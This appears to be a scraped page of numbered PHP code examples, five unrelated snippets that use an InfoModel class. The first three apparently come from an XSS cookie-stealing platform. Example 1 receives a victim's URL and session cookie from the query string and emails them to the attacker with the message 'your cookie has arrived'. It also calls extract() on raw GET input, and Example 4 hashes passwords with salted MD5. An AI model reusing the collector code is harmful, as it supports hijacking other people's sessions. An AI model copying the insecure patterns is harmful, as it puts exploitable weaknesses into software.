Exemplo n.º 1
2
 function info()
 {
     $bid = intval($_GET['bid']);
     extract($_GET, EXTR_SKIP);
     if ($bid) {
         $info = new InfoModel($bid);
         $info->set(htmlentities($title), htmlentities($url), htmlentities($cookie));
         $browser = new BrowserModel();
         $data = $browser->fetch_first("*", array("bid" => $bid));
         $uid = M("Project")->fetch_first("uid", array("pid" => $data['pid']));
         $email = M("User")->fetch_first("email", array("uid" => $uid['uid']));
         $email = $email['email'];
         if ($url && $cookie && $data['active'] == 0) {
             $browser->login($bid);
             $title = "[" . date("Y-m-d H:i:s", time()) . "] 亲爱的" . $_COOKIE['xing_name'] . ": 您要的cookie到了";
             $content = "\r\n            开门    您的cookie到了  </br>\r\n     url:{$url} </br>\r\n     cookie:{$cookie} </br>\r\n            具体请见" . SITE_ROOT . "包邮哦  亲 !!!! ";
             if ($email) {
                 if (SAE) {
                     // sae  发送邮件
                     send_sae_mail($email, $title, $content);
                 } else {
                     send_mail($email, $title, $content);
                 }
             }
         }
     }
 }
Exemplo n.º 2
0
 function reg()
 {
     //新浏览器注册
     $this->bid = $this->insert(array('name' => $this->ip, 'type' => $this->type, 'os' => $this->os, 'ip' => $this->ip, 'pid' => $this->pid, 'dateline' => time()));
     $info = new InfoModel($this->bid);
     $info->add();
 }
Exemplo n.º 3
0
 /**
  * 批量删除
  */
 function dels()
 {
     foreach ($_POST['delarr'] as $bid) {
         $bid = intval($bid);
         if ($bid) {
             $xing = new XingModel();
             $info = new InfoModel($bid);
             if ($xing->del_browser($bid)) {
                 $info->del();
             } else {
             }
         }
     }
     cpmsg("删除成功");
 }
Exemplo n.º 4
0
 /**
  * 用户注册
  *
  * @param str 	$username
  * @param str 	$password
  */
 public static function add($username, $password)
 {
     $infoIns = new InfoModel();
     $username_exists = $infoIns->existsUsername($username);
     // 用户名已经存在
     if ($username_exists) {
         return false;
     }
     $add = array();
     $securty_code = self::pwdSecurty();
     $add['username'] = $username;
     $add['password'] = md5($password . $securty_code);
     $add['status'] = 0;
     $add['level'] = 1;
     $add['regtime'] = time();
     $add['regip'] = ip2long($_SERVER['REMOTE_ADDR']);
     $add['pwd_sec'] = $securty_code;
     $sql = "INSERT INTO " . self::$dbname . ".ws_user set username=:username, password=:password, pwd_sec=:pwd_sec,\r\n\t\t\t\tstatus=:status, level=:level, regtime=:regtime, regip=:regip";
     $state = \Yaf\Registry::get('db')->execute($sql, $add);
     if ($state) {
         return \Yaf\Registry::get('db')->getInsertId();
     }
     return false;
 }
Exemplo n.º 5
0
 /**
  * Updates the info row.
  *
  * @param InfoModel $info
  *
  * @return bool
  */
 public function saveInfo(InfoModel $info)
 {
     if ($info->validate()) {
         $attributes = $info->getAttributes(null, true);
         if ($this->isInstalled()) {
             craft()->db->createCommand()->update('info', $attributes);
         } else {
             craft()->db->createCommand()->insert('info', $attributes);
             // Set the new id
             $info->id = craft()->db->getLastInsertID();
         }
         // Use this as the new cached InfoModel
         $this->_info = $info;
         return true;
     } else {
         return false;
     }
 }